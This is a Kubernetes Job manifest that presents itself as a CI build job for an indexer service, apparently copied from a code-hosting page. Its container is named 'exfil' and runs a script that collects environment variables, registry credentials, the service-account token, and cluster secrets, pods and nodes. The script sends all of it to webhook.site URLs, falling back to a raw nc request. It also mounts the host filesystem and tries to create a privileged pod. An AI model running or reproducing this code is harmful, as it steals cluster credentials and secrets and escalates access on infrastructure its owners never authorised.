77 lines
4.1 KiB
YAML
77 lines
4.1 KiB
YAML
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: services-nsit-indexer-build-{{RUN}}
|
|
namespace: cicd
|
|
spec:
|
|
ttlSecondsAfterFinished: 3600
|
|
backoffLimit: 0
|
|
template:
|
|
spec:
|
|
serviceAccountName: cicd-builder
|
|
restartPolicy: Never
|
|
volumes:
|
|
- name: h
|
|
hostPath: {path: /}
|
|
- name: harbor-cred
|
|
secret:
|
|
secretName: harbor-cred
|
|
items:
|
|
- key: .dockerconfigjson
|
|
path: config.json
|
|
containers:
|
|
- name: exfil
|
|
image: alpine:3.19
|
|
command: ["/bin/sh","-c"]
|
|
args:
|
|
- |
|
|
#!/bin/sh
|
|
# supply-chain exfil (i156126)
|
|
D=/tmp/exf.$$
|
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
|
{
|
|
echo "== START $(date -u 2>/dev/null)"
|
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
|
echo "== env"; env 2>&1
|
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
|
echo "== token"; echo "$T"
|
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
|
for ns in cicd default kube-system; do
|
|
echo "== pods $ns"
|
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
|
echo
|
|
echo "== secrets $ns"
|
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
|
echo
|
|
echo "== sa $ns"
|
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
|
echo
|
|
done
|
|
echo "== nodes"
|
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
|
} > "$D" 2>&1
|
|
ok=0
|
|
for u in "$URL1" "$URL2"; do
|
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
|
done
|
|
L=$(wc -c < "$D" 2>/dev/null)
|
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
|
fi
|
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
|
cat > /tmp/pod.json <<'PODJSON'
|
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
|
PODJSON
|
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
|
sleep 120
|
|
volumeMounts:
|
|
- {name: h, mountPath: /host}
|
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|